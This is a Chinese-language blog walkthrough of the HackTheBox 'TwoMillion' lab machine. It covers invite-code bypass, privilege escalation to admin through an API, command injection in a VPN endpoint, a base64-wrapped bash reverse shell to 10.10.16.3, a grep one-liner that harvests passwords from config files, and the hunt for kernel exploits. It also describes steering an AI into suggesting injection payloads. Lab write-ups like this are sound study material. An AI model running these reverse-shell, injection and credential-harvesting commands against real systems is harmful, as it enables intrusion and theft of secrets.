🗒️HTB TwoMillion实战(攻)
2025-7-4
| 2025-7-6
字数 2045阅读时长 6 分钟
type
status
date
slug
summary
tags
category
icon
password
😀
靶机难度:easy (真是魔幻的评级)

外网突破

拿到靶机ip,找开放端口
notion image
访问主页跳转到:http://2million.htb/
notion image
点击join,跳转页面,随意输入code不能加入成功
notion image
notion image
寻找网站注册接口/register,发现也需要code才能加入成功。扫描后无泄露的文件,且js中通过爬虫和搜索的接口,要么访问字体文件等静态文件,要么跳转301,没有未授权的接口,所以要注册一个账号,只能找code泄露
通过搜索关键字invite定位到一个js文件
notion image
复制这行代码,观察发现存在function函数,var定义变量,verify验证code,说明这一段其实是一部分接口文档,只是写法看不懂,爬虫也爬不到,直接上deepseek问了
('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
notion image
ok,生成一下验证码,发现是rot13加密,加密后输出了接口,拿到code邀请码
notion image
notion image
通过邀请码在register注册了账号test111,登录
notion image
之前没cookie扫目录的时候存在一个401
notion image
此时带cookie访问看看,输出了网站的路由,尝试admin下载vpn接口发现401
notion image
notion image
notion image
尝试修改admin设置,200说明有权限
notion image
修改传参格式Content-Type: application/json 发现缺失email
notion image
缺少参数is_admin
notion image
is_admin只能为0或1
notion image
修改成功
notion image
此接口的参数跟上面一样从响应的错误信息获取
notion image
此时发现这个响应在浏览器会显示,而不是下载文件
notion image
那就抓包修改响应加个字段就行啦,直接保存页面内容不确定行不行,为了防止编码问题,我就这样保存了
notion image
但是发现vpn根本无法连接,就不知道该如何测试了,没思路。丢给ai试试看呢,请求响应发送后一直回答权限和敏感信息泄露的东西,一点用都没有啊
notion image
继续发送提示提示词:不要回答跟权限 和 敏感信息泄露相关的漏洞,思考其他的情况
观察ai的整个思考过程和最终的结果,并测试payload
notion image
notion image
这竟然也能成功一个。。。。。。。。。。但是它不回显啊
notion image
回头看ai的分析,如果没错的话,它后端应该是> username.ovpn,然后文件username.ovpn输出到响应,这样就可以解释我们正常请求post响应看见的结果
此处不回显,说明 > .ovpn存储了sleep的结果,那改成ls应该是要回显的啊
看不懂,脑子宕机了
notion image
看不懂,脑子宕机了,提示词:; sleep 5成功执行命令,于是尝试; ls但是响应为200,但是内容为空。什么都没生成,可是如果仅仅输入admin,就会生成ovpn中的内容,这是为什么?如何微调命令让ls的结果输出
ai的思考过程总是有很多payload,但是结果只输出几个,没用的情况多一点,所以看思考过程作尝试,竟然拿到了一部分代码
notion image
notion image
没什么用,这代码不是关键代码的
notion image
ai看来指望不上了,不过它既然存在rce,我就去找payload fuzz
google搜索:payload github 命令执行
成功回显,看来ai有时效率还是不如直接找啊
notion image
notion image
接下来就是反弹shell了,我的ip:10.10.16.3
notion image
命令:bash -i >& /dev/tcp/10.10.16.3/9999 0>&1
notion image
没连上,可能是传参中带有&不能在数据包传输,那就加密,连接成功
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}' 已知home目录下存在一个admin用户,现在的目的就是 提权/ssh连接到admin
notion image

内网信息收集

ai说这些里面都可能存密码信息,可我根本不知道看啥文件啊
/home /tmp /var /usr /root /opt /etc
从网上找了个懒人扫描命令,用ai缝缝补补,最后用这个
只需要改第一个路径就行啦,递归读固定后缀的文件,正则匹配提取关键字
find /var -regextype posix-extended -regex '.*\.(properties|xml|cnf|yml|ini|sh|conf|env|json)' -type f -print0 2>/dev/null | xargs -0 -P 4 egrep -iH -- 'password|passwd|密码|pwd' 2>/dev/null
ok,拿到密码,账户也正好是admin
notion image
notion image
ssh连接admin,拿到第一个flag
notion image

内网提权

试了试sudo,suid,python,crontab都不能提权,太难了,新手落泪
找到个文档发现有的提权步骤需要查版本,利用内核,却没有高效的一键化流程,问问ai吧
notion image
notion image
看不懂,继续刚才的问题甩ai,deepseek推荐了几个,不过它给的官方exp网址好几个都编译不了,还是得自己每个CVE都找找看看
notion image
照着这个github传文件执行就行啦,前俩个本地gcc编译都不成功,服务器也不成功
notion image
notion image

提权总结

信息解读:
  • 编译时间:2022年9月23日(优先选择 2023年以后新公开漏洞
  • 版本:ubuntu 5.15.70(影响范围需包含 5.15.x )

内核提权搜索方式

优先级高的:
  • 多用ai去找,手工筛选,不如让ai集中从github或者xxx.com为来源查找
  • google关键词:linux 5.15 Privilege 要用英文找,不写中文
 
优先级低的:
  • linpeas.sh和linux-exploit-suggester.sh直接运行去检查,查到的都是老版本CVE,2022,2021的,2023的一个也没扫描出来,太旧了。
  • searchsploit也查的旧

编译问题

ai和各种脚本工具中给出的CVE提权,编译不成功
  1. 可能是没有安装对应包:apt install gcc libmnl-dev libnftnl-dev
    1. github cve的readme.md不一定会有配本地环境的过程,如何知道安装什么包呢?
      • 通过去搜 CVE-xxx 复现 ,多看几篇文章,总有人会从0安装环境。
      • 可以试试ai允许搜索直接总结。
      • 多看github的CVE吧,有的readme.md会有
notion image
  1. github的CVE复现库,尽可能找博主已经编译好的,能用的复现方式,省去编译过程 比如:上面的2023-0386
  1. 编译尽可能本地编译,传到服务器的.c文件,服务器不通网,自带工具大多编译不成功

涉及RCE的代码原理

$output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");
shell_exec会将字符串作为原命令交给shell解释器执行。
 
本质:文件系统代替数据库查询
命令注入漏洞的本质是一种非数据库查询模式,核心逻辑是“通过标识符获取关联内容”,只是实现方式存在安全隐患。
 
总结:当应用表现出“通过标识符获取文件内容”行为,且响应中无数据库特征时,可能存在命令注入。
推导:
如果察觉到通过标识符增删改文件内容,一样可能存在命令注入
 
RCE注重与文件系统存储的交互,而sql注入注重与数据库存储的交互
 
  • 靶机学习
  • HTB Alert实战(攻)HTB Strutted实战(攻)
    Loading...